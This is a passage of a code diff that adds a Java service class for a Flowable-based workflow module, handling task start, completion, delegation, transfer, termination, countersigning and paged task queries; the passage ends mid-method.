assigneeList.add(Long.valueOf(o.toString())); - } - } - - if (multiInstance.getType() instanceof SequentialMultiInstanceBehavior) { - List userIds = StreamUtils.filter(assigneeList, e -> !String.valueOf(e).equals(task.getAssignee())); - List userList = userService.selectListByIds(userIds); - for (Long userId : userIds) { - TaskVo taskVo = new TaskVo(); - taskVo.setId("串行会签"); - taskVo.setExecutionId("串行会签"); - taskVo.setProcessInstanceId(task.getProcessInstanceId()); - taskVo.setName(task.getName()); - taskVo.setAssignee(userId); - if (CollUtil.isNotEmpty(userList)) { - userList.stream().filter(u -> u.getUserId().toString().equals(userId.toString())).findFirst().ifPresent(u -> taskVo.setAssigneeName(u.getNickName())); - } - taskListVo.add(taskVo); - } - return taskListVo; - } else if (multiInstance.getType() instanceof ParallelMultiInstanceBehavior) { - List tasks = StreamUtils.filter(taskList, e -> StringUtils.isBlank(e.getParentTaskId()) && !e.getExecutionId().equals(task.getExecutionId()) && e.getTaskDefinitionKey().equals(task.getTaskDefinitionKey())); - if (CollUtil.isNotEmpty(tasks)) { - List userIds = StreamUtils.toList(tasks, e -> Long.valueOf(e.getAssignee())); - List userList = userService.selectListByIds(userIds); - for (Task t : tasks) { - TaskVo taskVo = new TaskVo(); - taskVo.setId(t.getId()); - taskVo.setExecutionId(t.getExecutionId()); - taskVo.setProcessInstanceId(t.getProcessInstanceId()); - taskVo.setName(t.getName()); - taskVo.setAssignee(Long.valueOf(t.getAssignee())); - if (CollUtil.isNotEmpty(userList)) { - userList.stream().filter(u -> u.getUserId().toString().equals(t.getAssignee())).findFirst().ifPresent(e -> taskVo.setAssigneeName(e.getNickName())); - } - taskListVo.add(taskVo); - } - return taskListVo; - } - } - return List.of(); - } -} +package org.dromara.workflow.service.impl; + +import cn.hutool.core.bean.BeanUtil; +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.util.ObjectUtil; +import cn.hutool.core.util.StrUtil; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.domain.dto.RoleDTO; +import org.dromara.common.core.domain.dto.UserDTO; +import org.dromara.common.core.enums.BusinessStatusEnum; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.service.OssService; +import org.dromara.common.core.service.UserService; +import org.dromara.common.core.utils.StreamUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.common.tenant.helper.TenantHelper; +import org.dromara.workflow.common.constant.FlowConstant; +import org.dromara.workflow.common.enums.TaskStatusEnum; +import org.dromara.workflow.domain.ActHiTaskinst; +import org.dromara.workflow.domain.WfTaskBackNode; +import org.dromara.workflow.domain.bo.*; +import org.dromara.workflow.domain.vo.*; +import org.dromara.workflow.flowable.cmd.*; +import org.dromara.workflow.flowable.handler.FlowProcessEventHandler; +import org.dromara.workflow.mapper.ActHiTaskinstMapper; +import org.dromara.workflow.mapper.ActTaskMapper; +import org.dromara.workflow.service.IActTaskService; +import org.dromara.workflow.service.IWfDefinitionConfigService; +import org.dromara.workflow.service.IWfNodeConfigService; +import org.dromara.workflow.service.IWfTaskBackNodeService; +import org.dromara.workflow.utils.ModelUtils; +import org.dromara.workflow.utils.QueryUtils; +import org.dromara.workflow.utils.WorkflowUtils; +import org.flowable.common.engine.api.FlowableObjectNotFoundException; +import org.flowable.common.engine.impl.identity.Authentication; +import org.flowable.engine.*; +import org.flowable.engine.history.HistoricProcessInstance; +import org.flowable.engine.history.HistoricProcessInstanceQuery; +import org.flowable.engine.impl.bpmn.behavior.ParallelMultiInstanceBehavior; +import org.flowable.engine.impl.bpmn.behavior.SequentialMultiInstanceBehavior; +import org.flowable.engine.impl.persistence.entity.ExecutionEntity; +import org.flowable.engine.runtime.ProcessInstance; +import org.flowable.identitylink.api.history.HistoricIdentityLink; +import org.flowable.task.api.Task; +import org.flowable.task.api.TaskQuery; +import org.flowable.task.api.history.HistoricTaskInstance; +import org.flowable.task.service.impl.persistence.entity.TaskEntity; +import org.flowable.variable.api.persistence.entity.VariableInstance; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.scheduling.annotation.Async; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; + +import java.util.*; +import java.util.stream.Collectors; + +import static org.dromara.workflow.common.constant.FlowConstant.*; + +/** + * 任务 服务层实现 + * + * @author may + */ +@Slf4j +@RequiredArgsConstructor +@Service +public class ActTaskServiceImpl implements IActTaskService { + + @Autowired(required = false) + private RuntimeService runtimeService; + @Autowired(required = false) + private TaskService taskService; + @Autowired(required = false) + private HistoryService historyService; + @Autowired(required = false) + private IdentityService identityService; + @Autowired(required = false) + private ManagementService managementService; + private final ActTaskMapper actTaskMapper; + private final IWfTaskBackNodeService wfTaskBackNodeService; + private final ActHiTaskinstMapper actHiTaskinstMapper; + private final IWfNodeConfigService wfNodeConfigService; + private final IWfDefinitionConfigService wfDefinitionConfigService; + private final FlowProcessEventHandler flowProcessEventHandler; + private final UserService userService; + private final OssService ossService; + + /** + * 启动任务 + * + * @param startProcessBo 启动流程参数 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public Map startWorkFlow(StartProcessBo startProcessBo) { + Map map = new HashMap<>(); + if (StringUtils.isBlank(startProcessBo.getBusinessKey())) { + throw new ServiceException("启动工作流时必须包含业务ID"); + } + // 判断当前业务是否启动过流程 + HistoricProcessInstanceQuery query = QueryUtils.hisInstanceQuery(); + HistoricProcessInstance historicProcessInstance = query.processInstanceBusinessKey(startProcessBo.getBusinessKey()).singleResult(); + if (ObjectUtil.isNotEmpty(historicProcessInstance)) { + BusinessStatusEnum.checkStartStatus(historicProcessInstance.getBusinessStatus()); + } + List taskResult = QueryUtils.taskQuery().processInstanceBusinessKey(startProcessBo.getBusinessKey()).list(); + if (CollUtil.isNotEmpty(taskResult)) { + if (CollUtil.isNotEmpty(startProcessBo.getVariables())) { + taskService.setVariables(taskResult.get(0).getId(), startProcessBo.getVariables()); + } + map.put(PROCESS_INSTANCE_ID, taskResult.get(0).getProcessInstanceId()); + map.put("taskId", taskResult.get(0).getId()); + return map; + } + WfDefinitionConfigVo wfDefinitionConfigVo = wfDefinitionConfigService.getByTableNameLastVersion(startProcessBo.getTableName()); + if (wfDefinitionConfigVo == null) { + throw new ServiceException("请到流程定义绑定业务表名与流程KEY!"); + } + // 设置启动人 + identityService.setAuthenticatedUserId(String.valueOf(LoginHelper.getUserId())); + Authentication.setAuthenticatedUserId(String.valueOf(LoginHelper.getUserId())); + // 启动流程实例(提交申请) + Map variables = startProcessBo.getVariables(); + // 启动跳过表达式 + variables.put(FLOWABLE_SKIP_EXPRESSION_ENABLED, true); + // 流程发起人 + variables.put(INITIATOR, (String.valueOf(LoginHelper.getUserId()))); + ProcessInstance pi; + try { + if (TenantHelper.isEnable()) { + pi = runtimeService.startProcessInstanceByKeyAndTenantId(wfDefinitionConfigVo.getProcessKey(), startProcessBo.getBusinessKey(), variables, TenantHelper.getTenantId()); + } else { + pi = runtimeService.startProcessInstanceByKey(wfDefinitionConfigVo.getProcessKey(), startProcessBo.getBusinessKey(), variables); + } + } catch (FlowableObjectNotFoundException e) { + throw new ServiceException("找不到当前【" + wfDefinitionConfigVo.getProcessKey() + "】流程定义!"); + } + // 将流程定义名称 作为 流程实例名称 + runtimeService.setProcessInstanceName(pi.getProcessInstanceId(), pi.getProcessDefinitionName()); + // 申请人执行流程 + List taskList = QueryUtils.taskQuery(pi.getId()).list(); + if (taskList.size() > 1) { + throw new ServiceException("请检查流程第一个环节是否为申请人!"); + } + + runtimeService.updateBusinessStatus(pi.getProcessInstanceId(), BusinessStatusEnum.DRAFT.getStatus()); + taskService.setAssignee(taskList.get(0).getId(), LoginHelper.getUserId().toString()); + taskService.setVariable(taskList.get(0).getId(), PROCESS_INSTANCE_ID, pi.getProcessInstanceId()); + taskService.setVariable(taskList.get(0).getId(), BUSINESS_KEY, pi.getBusinessKey()); + map.put("processInstanceId", pi.getProcessInstanceId()); + map.put("taskId", taskList.get(0).getId()); + return map; + } + + /** + * 办理任务 + * + * @param completeTaskBo 办理任务参数 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public boolean completeTask(CompleteTaskBo completeTaskBo) { + try { + String userId = String.valueOf(LoginHelper.getUserId()); + Task task = WorkflowUtils.getTaskByCurrentUser(completeTaskBo.getTaskId()); + if (task == null) { + throw new ServiceException(FlowConstant.MESSAGE_CURRENT_TASK_IS_NULL); + } + if (task.isSuspended()) { + throw new ServiceException(FlowConstant.MESSAGE_SUSPENDED); + } + ProcessInstance processInstance = QueryUtils.instanceQuery(task.getProcessInstanceId()).singleResult(); + //办理委托任务 + if (ObjectUtil.isNotEmpty(task.getDelegationState()) && FlowConstant.PENDING.equals(task.getDelegationState().name())) { + taskService.resolveTask(completeTaskBo.getTaskId()); + TaskEntity newTask = WorkflowUtils.createNewTask(task); + taskService.addComment(newTask.getId(), task.getProcessInstanceId(), TaskStatusEnum.PASS.getStatus(), StringUtils.isNotBlank(completeTaskBo.getMessage()) ? completeTaskBo.getMessage() : StrUtil.EMPTY); + taskService.complete(newTask.getId()); + return true; + } + //附件上传 + AttachmentCmd attachmentCmd = new AttachmentCmd(completeTaskBo.getFileId(), task.getId(), task.getProcessInstanceId(), ossService); + managementService.executeCommand(attachmentCmd); + String businessStatus = WorkflowUtils.getBusinessStatus(processInstance.getBusinessKey()); + //流程提交监听 + if (BusinessStatusEnum.DRAFT.getStatus().equals(businessStatus) || BusinessStatusEnum.BACK.getStatus().equals(businessStatus) || BusinessStatusEnum.CANCEL.getStatus().equals(businessStatus)) { + flowProcessEventHandler.processHandler(processInstance.getProcessDefinitionKey(), processInstance.getBusinessKey(), businessStatus, true); + } + runtimeService.updateBusinessStatus(task.getProcessInstanceId(), BusinessStatusEnum.WAITING.getStatus()); + //办理监听 + flowProcessEventHandler.processTaskHandler(processInstance.getProcessDefinitionKey(), task.getTaskDefinitionKey(), + task.getId(), processInstance.getBusinessKey()); + //办理意见 + taskService.addComment(completeTaskBo.getTaskId(), task.getProcessInstanceId(), TaskStatusEnum.PASS.getStatus(), StringUtils.isBlank(completeTaskBo.getMessage()) ? "同意" : completeTaskBo.getMessage()); + //办理任务 + taskService.setAssignee(task.getId(), userId); + if (CollUtil.isNotEmpty(completeTaskBo.getVariables())) { + taskService.complete(completeTaskBo.getTaskId(), completeTaskBo.getVariables()); + } else { + taskService.complete(completeTaskBo.getTaskId()); + } + //记录执行过的流程任务节点 + wfTaskBackNodeService.recordExecuteNode(task); + ProcessInstance pi = QueryUtils.instanceQuery(task.getProcessInstanceId()).singleResult(); + if (pi == null) { + UpdateBusinessStatusCmd updateBusinessStatusCmd = new UpdateBusinessStatusCmd(task.getProcessInstanceId(), BusinessStatusEnum.FINISH.getStatus()); + managementService.executeCommand(updateBusinessStatusCmd); + flowProcessEventHandler.processHandler(processInstance.getProcessDefinitionKey(), processInstance.getBusinessKey(), + BusinessStatusEnum.FINISH.getStatus(), false); + } else { + List list = QueryUtils.taskQuery(task.getProcessInstanceId()).list(); + for (Task t : list) { + if (ModelUtils.isUserTask(t.getProcessDefinitionId(), t.getTaskDefinitionKey())) { + List links = historyService.getHistoricIdentityLinksForTask(t.getId()); + if (CollUtil.isEmpty(links) && StringUtils.isBlank(t.getAssignee())) { + throw new ServiceException("下一节点【" + t.getName() + "】没有办理人!"); + } + } + } + + if (CollUtil.isNotEmpty(list) && CollUtil.isNotEmpty(completeTaskBo.getWfCopyList())) { + TaskEntity newTask = WorkflowUtils.createNewTask(task); + taskService.addComment(newTask.getId(), task.getProcessInstanceId(), TaskStatusEnum.COPY.getStatus(), LoginHelper.getLoginUser().getNickname() + "【抄送】给" + String.join(",", StreamUtils.toList(completeTaskBo.getWfCopyList(), WfCopy::getUserName))); + taskService.complete(newTask.getId()); + List taskList = QueryUtils.taskQuery(task.getProcessInstanceId()).list(); + WorkflowUtils.createCopyTask(taskList, StreamUtils.toList(completeTaskBo.getWfCopyList(), WfCopy::getUserId)); + } + sendMessage(list, processInstance.getName(), completeTaskBo.getMessageType(), null); + } + return true; + } catch (Exception e) { + log.error(e.getMessage(), e); + throw new ServiceException(e.getMessage()); + } + } + + /** + * 发送消息 + * + * @param list 任务 + * @param name 流程名称 + * @param messageType 消息类型 + * @param message 消息内容,为空则发送默认配置的消息内容 + */ + @Async + public void sendMessage(List list, String name, List messageType, String message) { + WorkflowUtils.sendMessage(list, name, messageType, message, userService); + } + + /** + * 查询当前用户的待办任务 + * + * @param taskBo 参数 + */ + @Override + public TableDataInfo getPageByTaskWait(TaskBo taskBo, PageQuery pageQuery) { + QueryWrapper queryWrapper = new QueryWrapper<>(); + List roles = LoginHelper.getLoginUser().getRoles(); + List roleIds = StreamUtils.toList(roles, e -> String.valueOf(e.getRoleId())); + String userId = String.valueOf(LoginHelper.getUserId()); + queryWrapper.eq("t.business_status_", BusinessStatusEnum.WAITING.getStatus()); + queryWrapper.eq(TenantHelper.isEnable(), "t.tenant_id_", TenantHelper.getTenantId()); + String ids = StreamUtils.join(roleIds, x -> "'" + x + "'"); + queryWrapper.and(w1 -> w1.eq("t.assignee_", userId).or(w2 -> w2.isNull("t.assignee_").apply("exists ( select LINK.ID_ from ACT_RU_IDENTITYLINK LINK where LINK.TASK_ID_ = t.ID_ and LINK.TYPE_ = 'candidate' and (LINK.USER_ID_ = {0} or ( LINK.GROUP_ID_ IN (" + ids + ") ) ))", userId))); + if (StringUtils.isNotBlank(taskBo.getName())) { + queryWrapper.like("t.name_", taskBo.getName()); + } + if (StringUtils.isNotBlank(taskBo.getProcessDefinitionName())) { + queryWrapper.like("t.processDefinitionName", taskBo.getProcessDefinitionName()); + } + if (StringUtils.isNotBlank(taskBo.getProcessDefinitionKey())) { + queryWrapper.eq("t.processDefinitionKey", taskBo.getProcessDefinitionKey()); + } + queryWrapper.orderByDesc("t.CREATE_TIME_"); + Page page = actTaskMapper.getTaskWaitByPage(pageQuery.build(), queryWrapper); + + List taskList = page.getRecords(); + if (CollUtil.isNotEmpty(taskList)) { + List processDefinitionIds = StreamUtils.toList(taskList, TaskVo::getProcessDefinitionId); + List wfNodeConfigVoList = wfNodeConfigService.selectByDefIds(processDefinitionIds); + for (TaskVo task : taskList) { + task.setBusinessStatusName(BusinessStatusEnum.findByStatus(task.getBusinessStatus())); + task.setParticipantVo(WorkflowUtils.getCurrentTaskParticipant(task.getId(), userService)); + task.setMultiInstance(WorkflowUtils.isMultiInstance(task.getProcessDefinitionId(), task.getTaskDefinitionKey()) != null); + if (CollUtil.isNotEmpty(wfNodeConfigVoList)) { + wfNodeConfigVoList.stream().filter(e -> e.getDefinitionId().equals(task.getProcessDefinitionId()) && FlowConstant.TRUE.equals(e.getApplyUserTask())).findFirst().ifPresent(task::setWfNodeConfigVo); + wfNodeConfigVoList.stream().filter(e -> e.getDefinitionId().equals(task.getProcessDefinitionId()) && e.getNodeId().equals(task.getTaskDefinitionKey()) && FlowConstant.FALSE.equals(e.getApplyUserTask())).findFirst().ifPresent(task::setWfNodeConfigVo); + } + } + } + return TableDataInfo.build(page); + } + + /** + * 查询当前租户所有待办任务 + * + * @param taskBo 参数 + */ + @Override + public TableDataInfo getPageByAllTaskWait(TaskBo taskBo, PageQuery pageQuery) { + TaskQuery query = QueryUtils.taskQuery(); + if (StringUtils.isNotBlank(taskBo.getName())) { + query.taskNameLike("%" + taskBo.getName() + "%"); + } + if (StringUtils.isNotBlank(taskBo.getProcessDefinitionName())) { + query.processDefinitionNameLike("%" + taskBo.getProcessDefinitionName() + "%"); + } + if (StringUtils.isNotBlank(taskBo.getProcessDefinitionKey())) { + query.processDefinitionKey(taskBo.getProcessDefinitionKey()); + } + query.orderByTaskCreateTime().desc(); + List taskList = query.listPage(pageQuery.getFirstNum(), pageQuery.getPageSize()); + List processInstanceList = null; + if (CollUtil.isNotEmpty(taskList)) { + Set processInstanceIds = StreamUtils.toSet(taskList, Task::getProcessInstanceId); + processInstanceList = QueryUtils.instanceQuery(processInstanceIds).list(); + } + List list = new ArrayList<>(); + if (CollUtil.isNotEmpty(taskList)) { + List processDefinitionIds = StreamUtils.toList(taskList, Task::getProcessDefinitionId); + List wfNodeConfigVoList = wfNodeConfigService.selectByDefIds(processDefinitionIds); + for (Task task : taskList) { + TaskVo taskVo = BeanUtil.toBean(task, TaskVo.class); + if (CollUtil.isNotEmpty(processInstanceList)) { + processInstanceList.stream().filter(e -> e.getId().equals(task.getProcessInstanceId())).findFirst().ifPresent(e -> { + taskVo.setBusinessStatus(e.getBusinessStatus()); + taskVo.setBusinessStatusName(BusinessStatusEnum.findByStatus(taskVo.getBusinessStatus())); + taskVo.setProcessDefinitionKey(e.getProcessDefinitionKey()); + taskVo.setProcessDefinitionName(e.getProcessDefinitionName()); + taskVo.setProcessDefinitionVersion(e.getProcessDefinitionVersion()); + taskVo.setBusinessKey(e.getBusinessKey()); + }); + } + taskVo.setAssignee(StringUtils.isNotBlank(task.getAssignee()) ? Long.valueOf(task.getAssignee()) : null); + taskVo.setParticipantVo(WorkflowUtils.getCurrentTaskParticipant(task.getId(), userService)); + taskVo.setMultiInstance(WorkflowUtils.isMultiInstance(task.getProcessDefinitionId(), task.getTaskDefinitionKey()) != null); + if (CollUtil.isNotEmpty(wfNodeConfigVoList)) { + wfNodeConfigVoList.stream().filter(e -> e.getDefinitionId().equals(task.getProcessDefinitionId()) && FlowConstant.TRUE.equals(e.getApplyUserTask())).findFirst().ifPresent(taskVo::setWfNodeConfigVo); + wfNodeConfigVoList.stream().filter(e -> e.getDefinitionId().equals(task.getProcessDefinitionId()) && e.getNodeId().equals(task.getTaskDefinitionKey()) && FlowConstant.FALSE.equals(e.getApplyUserTask())).findFirst().ifPresent(taskVo::setWfNodeConfigVo); + } + list.add(taskVo); + } + } + long count = query.count(); + TableDataInfo build = TableDataInfo.build(); + build.setRows(list); + build.setTotal(count); + return build; + } + + /** + * 查询当前用户的已办任务 + * + * @param taskBo 参数 + */ + @Override + public TableDataInfo getPageByTaskFinish(TaskBo taskBo, PageQuery pageQuery) { + String userId = String.valueOf(LoginHelper.getUserId()); + QueryWrapper queryWrapper = new QueryWrapper<>(); + queryWrapper.like(StringUtils.isNotBlank(taskBo.getName()), "t.name_", taskBo.getName()); + queryWrapper.like(StringUtils.isNotBlank(taskBo.getProcessDefinitionName()), "t.processDefinitionName", taskBo.getProcessDefinitionName()); + queryWrapper.eq(StringUtils.isNotBlank(taskBo.getProcessDefinitionKey()), "t.processDefinitionKey", taskBo.getProcessDefinitionKey()); + queryWrapper.eq("t.assignee_", userId); + queryWrapper.orderByDesc("t.START_TIME_"); + Page page = actTaskMapper.getTaskFinishByPage(pageQuery.build(), queryWrapper); + + List taskList = page.getRecords(); + if (CollUtil.isNotEmpty(taskList)) { + List processDefinitionIds = StreamUtils.toList(taskList, TaskVo::getProcessDefinitionId); + List wfNodeConfigVoList = wfNodeConfigService.selectByDefIds(processDefinitionIds); + for (TaskVo task : taskList) { + task.setBusinessStatusName(BusinessStatusEnum.findByStatus(task.getBusinessStatus())); + if (CollUtil.isNotEmpty(wfNodeConfigVoList)) { + wfNodeConfigVoList.stream().filter(e -> e.getDefinitionId().equals(task.getProcessDefinitionId()) && FlowConstant.TRUE.equals(e.getApplyUserTask())).findFirst().ifPresent(task::setWfNodeConfigVo); + wfNodeConfigVoList.stream().filter(e -> e.getDefinitionId().equals(task.getProcessDefinitionId()) && e.getNodeId().equals(task.getTaskDefinitionKey()) && FlowConstant.FALSE.equals(e.getApplyUserTask())).findFirst().ifPresent(task::setWfNodeConfigVo); + } + } + } + return TableDataInfo.build(page); + } + + /** + * 查询当前用户的抄送 + * + * @param taskBo 参数 + */ + @Override + public TableDataInfo getPageByTaskCopy(TaskBo taskBo, PageQuery pageQuery) { + QueryWrapper queryWrapper = new QueryWrapper<>(); + String userId = String.valueOf(LoginHelper.getUserId()); + if (StringUtils.isNotBlank(taskBo.getName())) { + queryWrapper.like("t.name_", taskBo.getName()); + } + if (StringUtils.isNotBlank(taskBo.getProcessDefinitionName())) { + queryWrapper.like("t.processDefinitionName", taskBo.getProcessDefinitionName()); + } + if (StringUtils.isNotBlank(taskBo.getProcessDefinitionKey())) { + queryWrapper.eq("t.processDefinitionKey", taskBo.getProcessDefinitionKey()); + } + queryWrapper.eq("t.assignee_", userId); + queryWrapper.orderByDesc("t.START_TIME_"); + Page page = actTaskMapper.getTaskCopyByPage(pageQuery.build(), queryWrapper); + + List taskList = page.getRecords(); + if (CollUtil.isNotEmpty(taskList)) { + List processDefinitionIds = StreamUtils.toList(taskList, TaskVo::getProcessDefinitionId); + List wfNodeConfigVoList = wfNodeConfigService.selectByDefIds(processDefinitionIds); + for (TaskVo task : taskList) { + task.setBusinessStatusName(BusinessStatusEnum.findByStatus(task.getBusinessStatus())); + if (CollUtil.isNotEmpty(wfNodeConfigVoList)) { + wfNodeConfigVoList.stream().filter(e -> e.getDefinitionId().equals(task.getProcessDefinitionId()) && FlowConstant.TRUE.equals(e.getApplyUserTask())).findFirst().ifPresent(task::setWfNodeConfigVo); + wfNodeConfigVoList.stream().filter(e -> e.getDefinitionId().equals(task.getProcessDefinitionId()) && e.getNodeId().equals(task.getTaskDefinitionKey()) && FlowConstant.FALSE.equals(e.getApplyUserTask())).findFirst().ifPresent(task::setWfNodeConfigVo); + } + } + } + return TableDataInfo.build(page); + } + + /** + * 查询当前租户所有已办任务 + * + * @param taskBo 参数 + */ + @Override + public TableDataInfo getPageByAllTaskFinish(TaskBo taskBo, PageQuery pageQuery) { + QueryWrapper queryWrapper = new QueryWrapper<>(); + queryWrapper.like(StringUtils.isNotBlank(taskBo.getName()), "t.name_", taskBo.getName()); + queryWrapper.like(StringUtils.isNotBlank(taskBo.getProcessDefinitionName()), "t.processDefinitionName", taskBo.getProcessDefinitionName()); + queryWrapper.eq(StringUtils.isNotBlank(taskBo.getProcessDefinitionKey()), "t.processDefinitionKey", taskBo.getProcessDefinitionKey()); + Page page = actTaskMapper.getTaskFinishByPage(pageQuery.build(), queryWrapper); + + List taskList = page.getRecords(); + if (CollUtil.isNotEmpty(taskList)) { + List processDefinitionIds = StreamUtils.toList(taskList, TaskVo::getProcessDefinitionId); + List wfNodeConfigVoList = wfNodeConfigService.selectByDefIds(processDefinitionIds); + for (TaskVo task : taskList) { + task.setBusinessStatusName(BusinessStatusEnum.findByStatus(task.getBusinessStatus())); + if (CollUtil.isNotEmpty(wfNodeConfigVoList)) { + wfNodeConfigVoList.stream().filter(e -> e.getDefinitionId().equals(task.getProcessDefinitionId()) && FlowConstant.TRUE.equals(e.getApplyUserTask())).findFirst().ifPresent(task::setWfNodeConfigVo); + wfNodeConfigVoList.stream().filter(e -> e.getDefinitionId().equals(task.getProcessDefinitionId()) && e.getNodeId().equals(task.getTaskDefinitionKey()) && FlowConstant.FALSE.equals(e.getApplyUserTask())).findFirst().ifPresent(task::setWfNodeConfigVo); + } + } + } + return TableDataInfo.build(page); + } + + /** + * 委派任务 + * + * @param delegateBo 参数 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public boolean delegateTask(DelegateBo delegateBo) { + Task task = WorkflowUtils.getTaskByCurrentUser(delegateBo.getTaskId()); + + if (ObjectUtil.isEmpty(task)) { + throw new ServiceException(FlowConstant.MESSAGE_CURRENT_TASK_IS_NULL); + } + if (task.isSuspended()) { + throw new ServiceException(FlowConstant.MESSAGE_SUSPENDED); + } + try { + TaskEntity newTask = WorkflowUtils.createNewTask(task); + taskService.addComment(newTask.getId(), task.getProcessInstanceId(), TaskStatusEnum.PENDING.getStatus(), "【" + LoginHelper.getLoginUser().getNickname() + "】委派给【" + delegateBo.getNickName() + "】"); + //委托任务 + taskService.delegateTask(delegateBo.getTaskId(), delegateBo.getUserId()); + //办理生成的任务记录 + taskService.complete(newTask.getId()); + return true; + } catch (Exception e) { + log.error(e.getMessage(), e); + throw new ServiceException(e.getMessage()); + } + } + + /** + * 终止任务 + * + * @param terminationBo 参数 + */ + @Override + @Transactional(rollbackFor = Exception.class) + public boolean terminationTask(TerminationBo terminationBo) { + TaskQuery query = QueryUtils.taskQuery(); + Task task = query.taskId(terminationBo.getTaskId()).singleResult(); + + if (ObjectUtil.isEmpty(task)) { + throw new ServiceException(FlowConstant.MESSAGE_CURRENT_TASK_IS_NULL); + } + if (task.isSuspended()) { + throw new ServiceException(FlowConstant.MESSAGE_SUSPENDED); + } + HistoricProcessInstance historicProcessInstance = QueryUtils.hisInstanceQuery().processInstanceId(task.getProcessInstanceId()).singleResult(); + BusinessStatusEnum.checkInvalidStatus(historicProcessInstance.getBusinessStatus()); + try { + if (StringUtils.isBlank(terminationBo.getComment())) { + terminationBo.setComment(LoginHelper.getLoginUser().getNickname() + "终止了申请"); + } else { + terminationBo.setComment(LoginHelper.getLoginUser().getNickname() + "终止了申请:" + terminationBo.getComment()); + } + taskService.addComment(task.getId(), task.getProcessInstanceId(), TaskStatusEnum.TERMINATION.getStatus(), terminationBo.getComment()); + List list = QueryUtils.taskQuery(task.getProcessInstanceId()).list(); + if (CollUtil.isNotEmpty(list)) { + List subTasks = StreamUtils.filter(list, e -> StringUtils.isNotBlank(e.getParentTaskId())); + if (CollUtil.isNotEmpty(subTasks)) { + subTasks.forEach(e -> taskService.deleteTask(e.getId())); + } + runtimeService.updateBusinessStatus(task.getProcessInstanceId(), BusinessStatusEnum.TERMINATION.getStatus()); + runtimeService.deleteProcessInstance(task.getProcessInstanceId(), StrUtil.EMPTY); + } + //流程终止监听 + flowProcessEventHandler.processHandler(historicProcessInstance.getProcessDefinitionKey(), + historicProcessInstance.getBusinessKey(), BusinessStatusEnum.TERMINATION.getStatus(), false); + return true; + } catch (Exception e) { + throw new ServiceException(e.getMessage()); + } + } + + /** + * 转办任务 + * + * @param transmitBo 参数 + */ + @Override + public boolean transferTask(TransmitBo transmitBo) { + Task task = WorkflowUtils.getTaskByCurrentUser(transmitBo.getTaskId()); + if (ObjectUtil.isEmpty(task)) { + throw new ServiceException(FlowConstant.MESSAGE_CURRENT_TASK_IS_NULL); + } + if (task.isSuspended()) { + throw new ServiceException(FlowConstant.MESSAGE_SUSPENDED); + } + try { + TaskEntity newTask = WorkflowUtils.createNewTask(task); + taskService.addComment(newTask.getId(), task.getProcessInstanceId(), TaskStatusEnum.TRANSFER.getStatus(), StringUtils.isNotBlank(transmitBo.getComment()) ? transmitBo.getComment() : LoginHelper.getUsername() + "转办了任务"); + taskService.complete(newTask.getId()); + taskService.setAssignee(task.getId(), transmitBo.getUserId()); + return true; + } catch (Exception e) { + log.error(e.getMessage(), e); + throw new ServiceException(e.getMessage()); + } + } + + /** + * 会签任务加签 + * + * @param addMultiBo 参数 + */ + @Override + public boolean addMultiInstanceExecution(AddMultiBo addMultiBo) { + TaskQuery taskQuery = QueryUtils.taskQuery(); + taskQuery.taskId(addMultiBo.getTaskId()); + if (!LoginHelper.isSuperAdmin() && !LoginHelper.isTenantAdmin()) { + taskQuery.taskCandidateOrAssigned(String.valueOf(LoginHelper.getUserId())); + } + Task task = taskQuery.singleResult(); + if (ObjectUtil.isEmpty(task)) { + throw new ServiceException(FlowConstant.MESSAGE_CURRENT_TASK_IS_NULL); + } + if (task.isSuspended()) { + throw new ServiceException(FlowConstant.MESSAGE_SUSPENDED); + } + String taskDefinitionKey = task.getTaskDefinitionKey(); + String processInstanceId = task.getProcessInstanceId(); + String processDefinitionId = task.getProcessDefinitionId(); + + try { + MultiInstanceVo multiInstanceVo = WorkflowUtils.isMultiInstance(processDefinitionId, taskDefinitionKey); + if (multiInstanceVo == null) { + throw new ServiceException("当前环节不是会签节点"); + } + if (multiInstanceVo.getType() instanceof ParallelMultiInstanceBehavior) { + for (Long assignee : addMultiBo.getAssignees()) { + runtimeService.addMultiInstanceExecution(taskDefinitionKey, processInstanceId, Collections.singletonMap(multiInstanceVo.getAssignee(), assignee)); + } + } else if (multiInstanceVo.getType() instanceof SequentialMultiInstanceBehavior) { + AddSequenceMultiInstanceCmd addSequenceMultiInstanceCmd = new AddSequenceMultiInstanceCmd(task.getExecutionId(), multiInstanceVo.getAssigneeList(), addMultiBo.getAssignees()); + managementService.executeCommand(addSequenceMultiInstanceCmd); + } + List assigneeNames = addMultiBo.getAssigneeNames(); + String username = LoginHelper.getUsername(); + TaskEntity newTask = WorkflowUtils.createNewTask(task); + taskService.addComment(newTask.getId(), processInstanceId, TaskStatusEnum.SIGN.getStatus(), username + "加签【" + String.join(StringUtils.SEPARATOR, assigneeNames) + "】"); + taskService.complete(newTask.getId()); + return true; + } catch (Exception e) { + log.error(e.getMessage(), e); + throw new ServiceException(e.getMessage()); + } + } + + /** + * 会签任务减签 + * + * @param deleteMultiBo 参数 + */ + @Override + public boolean deleteMultiInstanceExecution(DeleteMultiBo deleteMultiBo) { + TaskQuery taskQuery = QueryUtils.taskQuery(); + taskQuery.taskId(deleteMultiBo.getTaskId()); + if (!LoginHelper.isSuperAdmin() && !LoginHelper.isTenantAdmin()) { + taskQuery.taskCandidateOrAssigned(String.valueOf(LoginHelper.getUserId())); + } + Task task = taskQuery.singleResult(); + if (ObjectUtil.isEmpty(task)) { + throw new ServiceException(FlowConstant.MESSAGE_CURRENT_TASK_IS_NULL); + } + if (task.isSuspended()) { + throw new ServiceException(FlowConstant.MESSAGE_SUSPENDED); + } + String taskDefinitionKey = task.getTaskDefinitionKey(); + String processInstanceId = task.getProcessInstanceId(); + String processDefinitionId = task.getProcessDefinitionId(); + try { + MultiInstanceVo multiInstanceVo = WorkflowUtils.isMultiInstance(processDefinitionId, 